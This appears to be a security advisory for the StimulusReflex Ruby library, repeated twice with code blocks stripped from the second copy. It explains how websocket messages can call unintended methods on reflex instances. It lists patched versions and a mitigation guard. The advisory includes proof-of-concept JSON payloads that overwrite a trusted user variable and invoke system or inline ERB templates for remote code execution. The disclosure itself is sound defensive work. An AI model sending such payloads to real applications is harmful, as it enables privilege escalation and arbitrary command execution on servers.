Summary
More methods than expected can be called on reflex instances. Being able to call some of them has security implications.
Details
To invoke a reflex a websocket message of the following shape is sent:
{
"target": "[class_name]#[method_name]",
"args": []
}
The server will proceed to instantiate reflex
using the provided class_name
as long as it extends StimulusReflex::Reflex
.
It then attempts to call method_name
on the instance with the provided arguments ref:
method = reflex.method method_name
required_params = method.parameters.select { |(kind, _)| kind == :req }
optional_params = method.parameters.select { |(kind, _)| kind == :opt }
if arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
reflex.public_send(method_name, *arguments)
end
This is problematic as reflex.method(method_name)
can be more methods than those explicitly specified by the developer in their reflex class. A good example is the instance_variable_set
method.
Read more
Let's imagine a reflex that uses `@user` as a trusted variable in an `after_reflex` callback.
This variable can be overwritten using the following message:
{
"target": "ChatReflex#instance_variable_set",
"args": ["@user", "<admin-id>"]
}
Here are other interesting methods that were found to be available for the ChatReflex sample reflex
remote_byebug
: bind a debugging server
pry
: drop the process in a REPL session
All in all, only counting :req
and :opt
parameters helps.
For example around version 1.0 only .arity
was checked which allowed access to the system
method (.arity == -1
)
{
"target": "ChatReflex#system",
"args": ["[command here]"]
}
Using public_send
instead of send
does not help but the following payloads do not work since :rest
parameters are not counted in the current version
{
"target": "ChatReflex#send",
"args": ["system", "[command here]"]
}
{
"target": "ChatReflex#instance_eval",
"args": ["system('[command here]')"]
}
Pre-versions of 3.5.0 added a render_collection
method on reflexes with a :req
parameter. Calling this method could lead to arbitrary code execution:
{
"target": "StimulusReflex::Reflex#render_collection",
"args": [
{ "inline": "<% system('[command here]') %>" }
]
}
Patches
Patches are available on RubyGems and on NPM.
The patched versions are:
Workaround
You can add this guard to mitigate the issue if running an unpatched version of the library.
1.) Make sure all your reflexes inherit from the ApplicationReflex
class
2.) Add this before_reflex
callback to your app/reflexes/application_reflex.rb
file:
class ApplicationReflex < StimulusReflex::Reflex
before_reflex do
ancestors = self.class.ancestors[0..self.class.ancestors.index(StimulusReflex::Reflex) - 1]
allowed = ancestors.any? { |a| a.public_instance_methods(false).any?(method_name.to_sym) }
raise ArgumentError.new("Reflex method '#{method_name}' is not defined on class '#{self.class.name}' or on any of its ancestors") if !allowed
end
end
Summary
More methods than expected can be called on reflex instances. Being able to call some of them has security implications.
Details
To invoke a reflex a websocket message of the following shape is sent:
The server will proceed to instantiate
reflex
using the providedclass_name
as long as it extendsStimulusReflex::Reflex
.It then attempts to call
method_name
on the instance with the provided arguments ref:This is problematic as
reflex.method(method_name)
can be more methods than those explicitly specified by the developer in their reflex class. A good example is theinstance_variable_set
method.Read more
Let's imagine a reflex that uses `@user` as a trusted variable in an `after_reflex` callback.This variable can be overwritten using the following message:
Here are other interesting methods that were found to be available for the ChatReflex sample reflex
remote_byebug
: bind a debugging serverpry
: drop the process in a REPL sessionAll in all, only counting
:req
and:opt
parameters helps.For example around version 1.0 only
.arity
was checked which allowed access to thesystem
method (.arity == -1
)Using
public_send
instead ofsend
does not help but the following payloads do not work since:rest
parameters are not counted in the current versionPre-versions of 3.5.0 added a
render_collection
method on reflexes with a:req
parameter. Calling this method could lead to arbitrary code execution:Patches
Patches are available on RubyGems and on NPM.
The patched versions are:
3.4.2
3.5.0.rc4
Workaround
You can add this guard to mitigate the issue if running an unpatched version of the library.
1.) Make sure all your reflexes inherit from the
ApplicationReflex
class2.) Add this
before_reflex
callback to yourapp/reflexes/application_reflex.rb
file: